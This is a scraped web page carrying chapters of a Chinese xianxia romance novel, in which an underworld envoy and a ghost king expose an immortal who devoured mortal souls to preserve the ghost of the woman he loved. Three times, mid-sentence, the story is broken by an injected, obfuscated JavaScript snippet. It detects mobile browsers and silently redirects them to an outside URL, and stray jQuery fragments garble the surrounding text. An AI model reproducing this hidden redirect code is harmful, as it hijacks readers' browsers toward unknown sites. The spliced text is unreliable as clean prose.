这个大哥哥好吓人,无声无息阴冷冷的,眼睛和蛇一样……
阿奇心里也害怕,赶紧转头推了推趴在桌上的“沈照水”。
她俩定有急事,沈照水赶紧跑回身体里,立刻睁开眼睛。
“怎么了?”
“青玄君给我们传了纸鹤,他在海边受伤了!需要姐姐去救他!”阿奇把纸鹤给沈照水看。这是一种仙术,借纸鹤传音通讯。
又是海边……难道青玄君遇见了那女鬼?
得去看看。
沈照水留下纸鹤,答应去帮青玄君,又让两个小女孩先回去睡觉。
“救他?凭你?”
裴幽行不知何时从屋中踱步出来,影子般站在沈照水身后。
“青玄君救扶一方是个好人,怎么能不救?”沈照水没空和他掰扯,蹲下身摸了摸花衣轻,“小狐狸,带我去好吗?”
花衣轻刚一点头,忽听见裴幽行那清冷嗓子咳了一声。
沈照水肩膀上紧接着落下一只骨节分明的手掌。
“笨,花衣轻那么胖,带你飞不动。”
“喂!!!”
伴随着花衣轻不可置信的嚎叫,沈照水眼前白光一闪,天地旋转,待光芒渐渐消退,一堆堆白沫子浪花推到眼前,耳边擦过呼呼海风。夜海如睡去的异兽,呼吸起伏间吐出凉寒之气。
沈照水被眼前景色震了一下,她第一次看海!
不知不觉伸手往旁一抻,手掌贴住的是微湿的崖壁。
他们已来到一处海崖之下。海风疾厉侵蚀崖体,眨眼间便从高处落下一块碎壁,砸进海里“嗵”一声响。
沈照水望过去,崖下怪石嶙峋的海岸边,正匍匐着个湿淋淋的人。
“青玄君!”
——
枯败的树枝拢成个小堆,橘红火光在中心跳蹿,偶尔响起哔哔啵啵的声音,像微小的星子在其间爆裂。
青玄君靠在树下,双手拧着身上青袍,海水成股流下,还没拧完手腕便失力掉下去,眉头紧皱:“嘶——”
沈照水见了,赶紧从火堆里捡出几根燃烧的树枝放在青玄君身侧,方便烘烤他的衣物。
“多谢沈姑娘。”
他呛了许多海水,好听的嗓子有些嘶哑。
“我虽为仙者但到底身在人间,平日行动皆按人间的规矩来,仙法暂收。谁知采珠时被巨浪压着,手受了伤……万不得已才唤沈姑娘相救。”
“不碍事不碍事,应该的。”沈照水摇头,转而说起今夜医馆遇鬼。
“我推测,那女鬼和海有些联系。况且青玄君不觉得奇怪吗?她今夜现身作怪,偏偏这时候你入海采珠便受伤了……”
青玄君眉头越皱越紧,薄唇抿成一条僵直的线。
“可我在海中并没有察觉到任何邪祟阴寒之气,也不可能有鬼物藏于海下……”他语气停顿,转头望向不远处那片沧海。
“沈姑娘不知,此处海中有未知的神灵遗迹,邪物不敢靠近。”
“血珠之所以那样神奇便是受神灵滋养,愈合伤口比寻常珍珠更加有效。”
沈照水吃惊张口,凌泛眼睛里满是迷茫。
原来不可能吗……
“你说的血珠就是这种?”
花衣轻好奇,从他身旁的竹兜中刨出一个湿漉漉的黑色活蚌,嗅了嗅:“可这就是寻常海珠蚌啊。”
青玄君淡然一笑,伸手拿起那个海蚌,握住腰间匕首,刀尖对准壳缝插入,往上一翘——
“看,血珠是……这?!”
他柔和的神态在看到一颗颗白腻的珠子时赫然石化,气息急促:“怎会如此!血珠……血珠本该呈赤色!它,它怎么会……?用了这么多年,我不会找错……”
“呵。”
一声极浅的笑声突兀出现。
沈照水和青玄君双双移目注视笑者。
“大人笑什么?”她出声问。
裴幽行长睫扇动,落在面颊上的影子像火光映照中欲飞的羽鸟,静谧诡艳。
“神迹没了,血珠当然是普通珠子。”
青玄君追问:“鬼王大人如何知晓海中神迹消失?”
“因为那神迹——”
裴幽行双目缓缓转动,火焰在眼底凝结成两处跃动的光点,反衬得他双眸黑不见底,无可探照。
“是孤的躯体。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991925|193752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
原来,此处正是当时裴幽行找回身体的海域。
“哦!”花衣轻恍然大悟,“从前你的肉身在这里,海中蚌类吃下你溢出的精血,就生出了赤血珍珠。”
吃肉……身?
沈照水目光落在剖开的蚌肉上,胃里忽然一阵翻滚。
“哕——”
裴幽行见她反应,目光骤冷,久久凝着她。
“你,恶心孤的身体?”
喉咙里还有附着的恶心感觉没压下去,突然沈照水的下巴被裴幽行紧紧扣住。
他贴过去,那张雌雄莫辨的脸上怒气氤氲,嗓音不紧不慢却带着压迫。
“敢再吐一次试试看。”
“诶!”花衣轻一看裴幽行的脾气上了来,紧急叫停他。
青玄君视线停在他两人身上,顿了片刻。
“大人,不要对女孩子这样坏。”
“她们会受伤,会难过,这是药物很难治愈的。”
青玄君眉头蹙了又蹙,无比认真,语气里多了几分叹息意味。
没人同自己站在一边还好,可真听见青玄君的话后,沈照水心头酸唧唧,眼圈一下子红了。
裴幽行这个坏人根本不知道!
趁他因青玄君的打断而分心,沈照水掰开他的手指,抱膝扭头不看他。
她真的很不理解裴幽行。
有时候他算得上好说话,也会在困难时帮她一把,比如帮她解决吸血的家人,助她再遇布摊老板,给她银子花……
小小声数手指头算着裴幽行做的好事,没成想被他听了去。
“孤何时助你去见什么布摊老板,做梦迷着了?”
她正努力计算着裴幽行到底算好算坏,突然被他风轻云淡地泼一盆冷水,一下子满腹窝火——大多数时候,他就这样跟棺材板似的冥顽不灵!不是打击她,就是恐吓她,威胁她!
沈照水气哼,十个手指头一甩,不算了!
反正这家伙做的恶事比好事多。
裴幽行望着她气得鼓鼓的侧脸,一会儿之后自己也转过身去。
气性真大,捏一下也不可以?
他都还没生气她嫌弃他啊……
花衣轻挪去了青玄君旁,颇有一种相见恨晚的心情。
“就是就是!我说他脾气坏吧,他还老瞪我!哪有这么追姑娘的?也就他这种堕了恶的脑子缺根筋……”
提起裴幽行堕恶,青玄君身上忽然一颤。
花衣轻这才意识到:这些仙界的小辈修行才几年,裴幽行这种无上大能光名字就能吓到他们,何况当着面提起他那些大逆不道的行为……
它舔舔爪子,话锋一转,调笑道:“诶,你小子不是无情道飞升的吗?怎么和女孩子相处还有心得啊?是不是以前有心悦的姑娘?”
青玄君眼眸浅弯,神色里带出点笑意,“天底下最傻的姑娘才会喜欢上我这样的无心之人。”
“是前辈多想了。无情之外即是大爱。爱天下苍生便在意苍生。女子,男子,皆是一样的。”
“……唔,你了不起。”
花衣轻从前就不喜欢修行之人的清淡做派,听他这样说,便把话头马虎着塞了过去。
几人就这般心思各异,一时间只剩树枝燃烧的嘈错声音。
沈照水把裴幽行从脑子里赶走后,心里盘算起正事。
女鬼现身,说明苍平镇确实有魂魄未归地府,甚至有作怪之害。但她的踪迹何至于这样神秘?突然出现,又突然消失……还有什么地方她忽略了吗?
“花衣轻!你当时闻到那个女鬼身上有特殊气味,是什么?”
沈照水心中灵光一闪,问时手掌合十,暗暗祈祷这个细节能有用。
“啊……是堕恶才有的苦涩气味!”
花衣轻蓬松华丽的尾巴得意撑起,像一把漂亮的伞。
“堕入恶道,修行便入邪途。这怕就是魂魄丢失的原因。那么多魂魄……那个女鬼要不是自己堕恶了就是身边还有东西堕恶了,他们是一伙人!”
9. 同病相怜
一颗珍珠被铜镊子夹起,放进小石碾圆孔。碾柄转动,一阵咯吱破碎声响起。直到声音渐小,石碾上层被抬起,一层洁白的珍珠粉积攒在石碾的沟壑中。
青玄君拿起精巧竹扫,小心翼翼将珍珠粉扫到小盒内。待石碾上毫无粉末之后,他才分出心思回答沈照水。
“许是在下道行尚浅,这些年我在苍平镇并未发现任何堕恶之人。”
“又或者花前辈判断错误也未可知?毕竟气味是何等飘渺。”
“况且沈姑娘想要查出那女鬼踪迹,找我帮忙无异于舍近求远……”
沈照水看着他将珍珠粉加入阿奇她们昨天配好的膏药中,没明白青玄君的意思。
“找出女鬼藏匿何方,对于鬼王大人不过弹指之功。”
青玄君对她一笑,将褐色药膏装在个巴掌大小的青瓷瓮中,盖上盖子便往外走。
他要去给老爷爷治腿伤。
哪怕血珠已不存在,但幸好普通海珠也可以入药,只是功效会弱一些。
沈照水见他身影去往病患处,赶忙拖着跛脚跟上去。
她脸色有些红,支吾解释:“可是……我……我和他关系没那么近……他也不是什么乐于助人的善人……”
“哦?”
青玄君注意到她跟上来,放缓了脚步,眼神往她跛了的右脚上看去,意味不明。
“其实,沈姑娘大可放心。鬼王大人对你是不一样的。”
不一样?他那个又冷又硬的腔调,她没感觉到他对她哪儿不一样。
眼见着沈照水脸色一下子厌白,青玄君轻笑出声。
“说起来,沈姑娘是凡人,如何当了阴差?又如何伴在鬼王大人左右?”
沈照水一口气吸了呼,呼了吸,最后“唉”了一声。
提起这没头没脑又毫无天理的际遇就糟心。
她隐去“鬼印”一事,向青玄君大吐苦水。
“就这么着,我选择成为阴差给地府办事。不然就得被迫嫁给那位,彻底失去自由,甚至性命……”
青玄君听得认真,“沈姑娘做这样的选择……”他语气一顿,灿然笑语:“倒是和从前的我有些像。”
“啊?”
他没明说为何而像,而是朝照水点点头,“沈姑娘心质坚定,以后必能成大事。”
沈照水没料到能得仙人一句夸赞。
不管是礼貌恭维还是安慰,她心里都有点飘飘然。
走到病患房外,青玄君推开门,照例询问了老爷爷伤势如何,饮食睡眠又怎样,得到无碍的答案后才蹲下去,亲手为他卷起裤腿上药。
沈照水站在门边,心里还美滋滋回味着那句“能成大事”。
多好的夸奖,她此生为数不多也最喜欢的夸奖。
其实不用成多大的事,她要是能开间包子铺就可以高兴得三天不睡觉了。
正翘着嘴角咂摸呢,沈照水忽然听见一声“沈姑娘”。
是老爷爷坐在小床上对着她笑。
满是沟壑的脸上,那双眼睛奇亮,看得她心脏漏了一跳。
“我床头那包雪花糖是你给的吧?哎哟,真是谢谢你啊,带我来看病,还给我糖吃。”
沈照水腼腆笑了,推说不用谢。然而下一刻,肩膀被人从身后狠狠撞上。
“青玄君!我孙儿这是怎么了?您快看看!”
一个白发苍苍的老妇人怀中抱着个岁大的小儿,着急忙慌递给刚上完药的青玄君。
她哭红了眼,整个人六神无主:“他还有心跳,就是憋着气,不会呼吸一样!神仙,天人,我孙儿还有救不?”
青玄君抱过孩子,仔细检查他的眼睛口鼻。沈照水无故被撞本来生气,但一见事情紧急也来不及计较,立刻拉过来一张板凳,安慰老妇人先坐下。
“这是中毒,他可曾吃过什么东西?”
“吃?没有啊!这么大点的孩子能给他吃什么?”
青玄君眉头下压,双指探去孩子喉咙处,指头用力一推,小孩子口中即刻吐出来一团红色的东西,看起来像浆果。
小孩子如同梦魇中惊醒,方才一声不吭,现在号啕大哭。
“没事了。他吃进去了些酔果。这果子三岁之下的孩子碰不到,会麻痹他们的喉舌。酔果汁液丰富又极易破皮,哪怕拿在手中玩耍时也易误食,应当隔绝孩子触碰它。”
青玄君把孩子还给老妇人,老妇人感激涕零:“多谢神仙多谢神仙!酔果?我个把时辰前就是给了他一个拿去玩,想着孩子安静一些……哎哟,谢谢神仙救我家孩子!”
她心情激动,一边道谢一边抱着孩子拍哄。等过了好一会儿孩子不哭了,焦急的心才彻底放松。
“幸好还有青玄君……你看看,这都多少年了!当初你来,我才刚刚嫁人,现在孙子都有了!”
老妇人向青玄君拉起家常,语气里满是怀念。
“我们整个苍平镇都得谢谢你!当初那个陈家女人还想把你占为己有,呸!神仙是她能肖想的么?”
“啊?”沈照水嗅到点不同寻常的意味,“还有这么回事?”
青玄君的脸色有些不自然,默默将头转向一边。
“都是过去的事了。”
“虽说过去五十多年了,但她也忒没心肝了些!”老妇人愤愤不平,见照水有兴趣便稍微偏转过去,同她讲起从前。
“青玄君才从天上下来的时候,这家医馆的女儿趁他还受着伤,囚着他不让人家回天上!”
“每天形影不离贴着青玄君,简直不知羞!仗着自己是个弱女子,对青玄君百般纠缠,非要嫁给人家。”
谁能想到清风朗月的青玄君还有这等桃花轶事,沈照水吃惊得合不拢嘴,“那后来呢?”
“后来……”老妇人眼珠子上翻,回忆起年轻时候的见闻。“后来老天有眼——她去崖边采药,掉进海里淹死了!活该!”
“她死后,这陈氏医馆也没人了,青玄君便留下来给我们看病直到今日。”
“哦……”沈照水应和着,不自觉回想起青玄君那句话。
原来他也被“逼嫁”过!
怪不得会说她和从前的他很像。果真是同病相怜!
然而她心头紧接着灵光一闪:
海里,淹死?!一个女人,还对青玄君痴心纠缠……耳边似乎又听见那夜的恐怖的怪风嚎叫,沈照水直直望着青玄君。
许是提起尴尬的旧事,他脸色出奇得差,白净肌肤下血色翻涌,不知是羞是嗔。
“我忘了……你今岁几何?”
他问老妇人。
“我啊,都七十四了!”老妇人笑着,一口牙都还健在,“多亏青玄君照顾,不然我生我家老大的时候……”
她确实精神头很好,十分健谈,一个短问就开启她喋喋不休的回忆。
“那差不多了。”
青玄君冷不丁抛出一句,朝老妇人走去,语气忽然柔软与方才大不一样。
“时辰差不多了,我送你和孙子回家去吧。”
“诶青玄君!我有话想跟你说……”
沈照水出声拦住他,但青玄君的脚步并未停留。
那形影无踪的女鬼八九不离十便是死去的陈氏女。
她贪恋青玄君,便也解释了为什么她会突然出现在医馆。
可是她接下来会做什么呢?攻击青玄君吗?她能力如此特殊,和消失的其他魂魄有无关联?
一连串疑问逼得照水头都快炸了。
千万等不得。
她得赶紧找出真相。
沈照水提裙便往静室走。若这个时候还隔应和裴幽行的关系,那她也太拎不清了。
没走一会儿她干脆跑起来,穿过小廊和花园。一切都在往后退,但一株梅树勾住沈照水的视线。
现在未到冬季,它光秃秃站在哪儿,阳光洒下,曲折各异的枝条十分抢眼,有点如墨汁泼溅,有的如剑光留痕,姿态鲜活多情。
沈照水跑过它,顺手折了一根簪长的梅枝,捻走多余的碎枝,再用袖子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991926|193752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
擦擦,揣怀里跑进静室。
“大人!”
她扶着门大喘着气,把梅枝献宝似的拿出来,眼睛亮汪汪,笑得不要钱似的热烈:
“我来给您道歉了。”
日光穿过纸糊的窗户落在床头,裴幽行移去床尾,靠着枕头把玩青玄君采回来的海珠,闻言抬头看向沈照水,神色鄙夷,仿佛看透了她。
“你把孤当鸟儿,要给孤筑巢?”
沈照水拼命摇头,捧着梅枝到他身边,似乎那真是什么宝贝。
“大人您看,这梅枝生得多好,用来当发簪刚刚好!这是天生地养的自然之物,也不会玷污了大人。”
她盯着裴幽行那头如瀑青丝,眼里又真诚又惋惜:“大人生得这样好看,却都被头发挡起来了……”
事到临头,沈照水才发现自己有这样强大的随机应变能力。花衣轻说过裴幽行爱美,但愿这点真能奏效。
“你来?”
“当然!”
裴幽行没多说什么但肩膀微扭,把背后留给沈照水。
沈照水大喜过望,指尖颤抖着将裴幽行的头发拢在掌心。但奈何他及地的发丝实在太长,全部束起来完全不现实,沈照水只能从两侧勾出小股发丝拧在一起,绕在梅枝上尽力簪住。
但一松手,梅枝难免松下来,一头斜垂,仿佛墨色云瀑中生出枯枝,死寂中带着一点雅致。
还……挺适合裴幽行的。
“好看?”
他肩膀回转,侧脸望着沈照水。
绝美的一张脸上写满了敢说个“不”字就掐死她的审视和威胁。
沈照水咽了咽口水。
青玄君哪里看出他对她不一样的啊……
“好看!特别好看!”
她拿出了百分之一万的狗腿做派,“大人是我见过最漂亮的人!”
裴幽行眼眸里泛起点笑意,像春熙至,冰湖始解。
抬手反摸了摸脑后梅枝上的突节,语气轻快:“原谅你了。”
“那……大人能帮我查查那只女鬼……”
沈照水没说完,裴幽行的眼神一下子冷下来,冰箭似的甩向她。
“哼,孤就知道。”
他拉住梅枝就要扯下来,但一碰它,忽然怒气消解,动作也缓了下来,最后垂下手,不了了之。
自母神陨落后,他一直都披头散发,无人照管过,自己也浑不在意。
三千载了……
“孤不是什么菩萨佛爷。若找到那脏东西,你今后得日日为孤簪发以作交换。”
他答应了?!
沈照水惊喜着,还没来得及点头,裴幽行倏忽不见。
“这,这就动身???”
她跑出去,只见檐下晒太阳的花衣轻。
裴幽行出马了,她不用再担心,人松懈下来,坐在檐下慢慢撸着花衣轻。
一把从狐狸尾巴根摸到尾巴尖,花衣轻舒服得眯眼睛。
一人一狐晒着太阳,沈照水忽然想起什么来,立刻往屋里跑。
“诶?照水你去干嘛?”
她没回答,但不一会儿抱着包东西出来,在花衣轻面前打开。
“当当!芝麻糖!”
花衣轻高兴得尾巴摇摇,叼起一根芝麻糖伸舌舔舔。
晒着太阳吃着糖,好舒服呀!比宴漆还好!
沈照水捻起一根芝麻糖,闻了闻炒得焦香的芝麻,正要大咬一口,头顶忽然阴了下来。
疑心是要下雨,可方才太阳还明晃晃。
一抬头,一团黑风盘旋在上,阴云迅速集拢遮蔽天日。黑风对上沈照水当目光,立刻朝她俯冲——
“啊!!!”
沈照水大叫,吓得抱起花衣轻就往静室里躲。
裴幽行不是去找女鬼了吗?!怎么她反而过来了??
浸入骨髓的阴寒刹那间逼来,沈照水浑身鸡皮疙瘩爆起,两脚跳进门槛,回身要关门——
“等等!请问姑娘是阴曹来的阴差吗?”
10. 陈珍珠
黑风迫近,一股强大的威压逼得沈照水低头闭眼,花衣轻咬着她袖口扯了扯,在狂风中声嘶力竭:
“照水,你看!”
沈照水渐觉风力变小,抓紧一线时机转头看去。
那风团落地,眨眼化成了个高挑清丽的姑娘。小麦色的蜜肌和苍平镇里其他的姑娘如出一辙,如海边灿阳的余晖。一双眼睛黑得发透,望向沈照水的眼里满是愧疚和无措,像一汪灵动的泉水。
这……是女鬼?
沈照水和臂弯里的花衣轻对望一眼,双双疑惑。
女人在檐下普通一声跪下,朝沈照水认认真真磕头。
“小女自愿同大人回地府受审,是杀是剐绝无怨言。”
嗯?
沈照水更迷糊了,“你犯罪了吗?找我自首?那你上次来……也是为了自首?”
女人的额头一直磕在地上,直到照水问她才缓缓抬起,双眼已然通红。
她嘴唇抿起,又松开,有些颤抖,最后轻呼一口气。
“……对。小女罪无可恕,五十年来吞噬一百三十七位凡人的魂魄,只为自己灵魂不灭,逃脱轮回。”
“真的是你!”
全都对上了。
沈照水一脚迈出门槛,三步并作两步冲到她面前,惊讶地扫视她五六遍。
但……不像,实在不像。
这姑娘分明是个良家子,神态身姿和沈照水同村的小姐妹们别无二致,真的会做出这样的恶行吗?
最重要的是她既然都维持五十年了,为什么要自首?这不是功亏一篑吗?
沈照水琢磨着,也不认为自己这个新手阴差有一现身就能使恶鬼良心发现的显著效果。
“阴差大人,我知道您是个好人。小女一定顺从去往地府,绝不会反抗。只是,小女……”
女人眼底泪花涌现,亮晶晶的,焦急又委屈。她再次磕了个头,额头触地声清晰可闻。
“恳请大人救救青玄君!”
“啊?他怎么了?关他什么事?”
沈照水惊讶反问时,花衣轻跳下她的臂弯,绕去这个奇怪女人的身侧,左右转了转。
女人道:“青玄君现在海崖滩,快被一个黑衣男人打死了。”
花衣轻眼睛一眯,跳到女人身前不耐烦龇牙:
“你这人说话怎么前言不搭后语的!小爷问你,你和青玄君什么关系?”
“我……我……”女人结巴了,声音小如蚊呐。
“吞噬魂魄,是你堕恶之后发生的吧?”
她木木点头,“对。”
“你撒谎!”
花衣轻大叫,前爪抓得地面嚓嚓响,很生气:“上次你身上有涩苦之气,这次明明没有!说明上次是你染上的。”
“堕恶的人不是你。”
——
一口鲜血喷在零碎的崖石之上,宛如一朵艳丽娇润的花。
肺腑处一阵阵钻心刻骨的灼热,像岩浆似的黏糊在一呼一吸间。青玄君卧倒在石滩上,碎石下的浅水映照着一张扭曲染血的脸庞。
裴幽行什么时候杀出来的他根本不知道。
他正陪那对婆孙回家,眨眼间双腿被活生生折断,膝盖粉碎,像只垂死的废狗被丢到这儿来。
手掌撑住冰凉尖锐的海岩,仍由它们扎破皮肤,刺进肌肉。
他艰难撑起自己,伸手抓住那即将转身的黑斗篷。
“求你——”
“求求你,放过她……”
颤抖的话音未完,黑斗篷被猛得一拽,一道力量朝他面门直直打来。眼前煞白一瞬,接着又是一口热血向天喷出,落进青玄君眼睛里,仿佛天地都被染红了。
“不准碰。”
裴幽行站在他面前,冷冷下视,眸子里既无悲悯也无愤怒,虽和青玄君打斗一场,但又仿佛于他而言毫无意义。
他更紧张这身斗篷。
“鬼王大人……”青玄君嗓音彻底嘶哑,如吞炭烧毁,一字一句都染着血味。他眦目抬眸,眼角留下一滴混着血液的泪珠。
“您自出生起便享有神格,天道偏爱,地坤包容,三界……不过是您母神所作的一张绘卷……您懂什么叫''天意弄人’吗?”
青玄君猝然一笑,痛得抽动的五官更显恐怖。血液不断从他口角留下,但分毫没有阻止他:
“我们仙者、凡人,谁不是被天意作弄得求生不得求死不能!”
“为什么同样是堕恶,你就可以超然界外?”
“既然已经超然界外,又为什么要来插手我们这些蝼蚁之人?”
他悲伤怆然,但在面前这位大神的面容上未能找到一星半点的同情。
青玄君惨笑着,渐渐那苦涩笑意也彻底凋敝。他不死心般伸手抓住黑色粗布斗篷下的织金黑袍。
但这一次,裴幽行没有扯开他。
“鬼王大人,我甘愿飞灰烟灭……可是,可是她只是一个凡尘俗世的小姑娘而已……当初她是因为采药救我才意外身亡……私自动用凌碧宫的澈轮珠,炼化凡人魂魄为她养魂是我一个人的事,与她无关……”
“听着。”
裴幽行眉尖蹙了蹙,双眼冷漠得如氤氲着一场浓雾。
“你堕恶,孤不关心;她身死,孤不关心。不要讲得好像孤有多大的闲情逸致来给你们判案似的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991927|193752||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
说完,他心里没来由升起一阵埋怨来。
都怪沈照水。
就不能好好和他成婚吗?非要出来闯。现在搞得他像是个棒打鸳鸯的恶人。
他转身将走,继续去捉那逃走的女鬼,青玄君却突然动作,双手死死扣住他的脚腕。
“鬼王大人!您钟意沈姑娘有千年了对吧?”
“她脚踝上的定魂铃分明是您的私物,有了那东西,就算她投胎转世一万次,茫茫人海您也可以找到她……”
“你想说什么?”
裴幽行盯着他,对他这种找死行为非常不满。
“孤看在凌碧宫的份上饶你一命,你却这样不知好歹——”
“大人对沈姑娘的执念不比我对珍珠的少!”
青玄君近乎咆哮,“大人就没想过,倘若有一天沈姑娘死在您面前……额!”
一只青筋爆起的手立刻掐住青玄君的脖子,直直将人拎起,悬在半空,眼睁睁看着他面色涨红,无助挣扎。
“孤大开杀戒的时候,世上还没有你这毛头小儿。”裴幽行薄唇轻启,语调幽幽,和手上力气大相径庭。
“今日正好让你见识见识。小心翼翼用澈轮珠掩藏堕恶气息不过孩童把戏,真正的堕恶是——”
“住手!”
一道清亮的甜嗓自远处响起。
沈照水呼哧呼哧跑来,边跑边喊:“放下他!有什么事好好说!”
裴幽行一回头,沈照水在碎石滩上提着裙子上跳下窜,一只眼睛找路一只眼睛盯着他,慌得跟什么是的,生怕他手指头动一下青玄君就没了。
她身后正跟着掂起脚掌的花衣轻,还有那女鬼。
松手将人摔下,裴幽行双手微微张开,原地等着沈照水这小瘸子跳到他怀里。
“你也真不嫌麻烦,还跑过来……”
然而,沈照水来到他面前,脑袋一低从他那身黑袍下钻过,稳稳跳到青玄君身侧蹲下关切他:
“你你还好吗?这里到处都是你的血……”
裴幽行错愕一瞬,旋即垂手,瞪着沈照水那没良心的背影。
太多血了,沈照水眼前一黑,差点一屁股坐在碎石上。
跟随而来的女人注意到赶紧扶住她。
沈照水抬脸对其笑笑,“谢谢你,珍珠。”
青玄君的脸色如坠冰窖,冲那女人恨道:“陈珍珠,你怎么冥顽不灵!走啊!”
“青玄君,你不是教过我们鬼王大人不能对女孩子凶巴巴的吗?”
沈照水看着他,有丝丝惆怅。
当局者迷旁观者清,事情发生在自己身上到底乱了心。
11. 师髓音
陈珍珠嘴角下撇,扭脸对着沈照水做了个吐舌头嫌弃他的表情。
她从来都不害怕青玄君凶她,不管是以前救治他的人,还是现在救治他的心。
她自小在医馆面对的病人形形色色,秉性各异,要是被凶两下就不救人了,那真对不起她从医的志向。
沈照水听陈珍珠讲了一路,理清了这苍平镇一案的缘由。
凌碧宫的法宝澈轮珠并未流失。自天宫大战后一直在青玄君身上,此珠可吸收魂魄也能滋养魂魄,庇佑灵魂逃脱轮回的天道。后来陈珍珠的灵魂被他强行收于珠内。
陈珍珠不愿意伤害他人,可青玄君却自作主张。
这法宝与使用者的状态息息相关。上次他夜采海珠因浪受伤,她才能从中逃出来找照水自首。
谁料青玄君很快调息过来,她也便再次被吸入珠内,直到今日裴幽行出手将他打得半死不活,给了她一个停止一切罪恶的机会。
“你无法接受救命恩人身死,情绪失控堕入恶道,从此留滞人间,一边救人一边以大夫的身份第一时间截住新魂。”
“今日送那带孙的老婆婆回家也是想取走她的魂魄。”
“因为一己之私害得那么多魂魄不能往生,等回了天上,好好将功赎罪吧。至于珍珠,她早该轮回了。因你横加阻拦,等下了阴曹,估计还得受审折腾一番,你说你何必呢……”
沈照水从怀里掏出阴差令牌,目光在一魂一仙之间徘徊。
“你们还有什么想说的吗?没有的话,我得将她带回去了。”
青玄君先前翻涌的情绪在此刻仿佛凝结一般,如玉如鹤的仙人成了呆傻的木头,一双眼睛落在陈珍珠身上,嘴唇僵硬绷着。
陈珍珠眼睛里泪光闪闪,嘴角却在笑。
“你呀,怎么又破破烂烂的了?和第一次见你的时候一样。”
她摇头,笑话自己:“我白照顾你三年,还搭进去那么多药……”
没什么话好说的了。
陈珍珠望向照水,缓缓点头。
“阴官亲临,诸鬼必随。”
一道幽绿荧光自令牌中央传来,笼罩陈珍珠。
下一瞬,那清丽的姑娘彻底消失。
沈照水从碎石堆中站起身,把令牌揣回怀里安抚似的拍拍。
“青玄君,这些事我回去会上报阎君,你也回凌碧宫去等消息吧。”
交代完,她转身朝裴幽行和花衣轻走去。
令牌上的八个字她翻来覆去练习了好多遍,以为事到临头会有一场恶战,结果收复的第一位鬼魂竟然如此顺理成章,在一片轻柔的浪涛声中消弭了所有。
沈照水如梦似幻,脚下踩着棉花般,一颗心也飘飘的,没什么实感。
下一瞬,一声巨响忽自身后炸开。剑锋砍过般的力量猝不及防将她向前推倒。
千钧一发,眼前一道玄色身影闪来,以胸膛稳稳接住她。
沈照水旋即抱紧,脑袋深埋在他胸口。
她吓得脑袋发晕,“怎么回事!”
所有人都未料到这一遭。
青玄君双手合十,朝眉心猛击,自废灵鼎。淡青色的神识如萤火虫一般弥漫整片海滩,仿佛灿烂星河倒转,流淌到了人间。
“仙解……天啊!”花衣轻大惊失色:“你疯啦!仙者消解,连轮回都没机会了!”
青玄君注目于绚丽却转瞬即逝的神识,那是他经年苦修终得飞升,又兢兢业业守护凌碧宫六百年的印迹。
一切烟消云散。
他惨然浅笑,喃喃着:“救命恩人……你还只以为我当你是救命恩人?”
那一双清澈无垢的眼睛看着照水三人,平静无波之下是数不尽的悲伤。
“我才不要回天上。那里太寂寞了,没有陈珍珠。”
呼吸之间,那眼睛里连悲伤也消散了。
仿佛一地秋叶,风卷而过,萧瑟寂寥满地空。
沈照水惊得说不出话来,嘴巴张得大大的,心里像是油盐酱醋全绞翻在一起,难受得要命。
一个曾经那么温柔的仙者,一个什么都没做错的凡人姑娘,怎么就两败俱伤?
满心哀凉间,她手掌按住的地方有什么东西在缓慢地跳。
一下一下的,轻微震动着。
沈照水收回目光,落在自己手下——裴幽行的胸腔。
心、心跳?
他不是活死尸吗?怎么会有心跳?!他什么时候有的?是变异了??
沈照水瞬间吓出一身冷汗,立刻从裴幽行怀里起身。
见怪的是,这一次她这般“隔应”他,他却没什么反应,仿佛陷入某种沉思,久久凝视青玄君正在消散的躯体。
“太寂寞了……”
“什么?”沈照水问。
“没什么。”裴幽行长睫微扇,指头点了点她肩膀,“看。”
一颗围绕着蓝色丝光的珠子自青玄君腹中缓缓飞出。
“澈轮珠?”沈照水看得出神,“好漂亮!果然是仙家的东西!”
裴幽行朝虚空一伸手,那蓝色的珠子认了主般朝他飞来。
“这是天上的宝贝,你怎么收着了?”
裴幽行斜睨沈照水一眼,嘲笑她的天真:“猜猜孤和凌碧宫是什么关系?猜对了这珠子送你。”
沈照水还没彻底理解这阔气到豪横的话语,裴幽行脸色骤变,迅疾揽过沈照水腰肢将人护在身后,出掌接住那自后而来的攻击。
沈照水惊魂未定,扶着裴幽行定睛一看,差点眼珠掉出来。
来人她认识……
那位腿受了伤的老爷爷。
他正飞身悬于海上,望着裴幽行皮笑肉不笑,轻飘飘的语气里别有暗恨。
“幽行,别来无恙啊……还记得我否?”
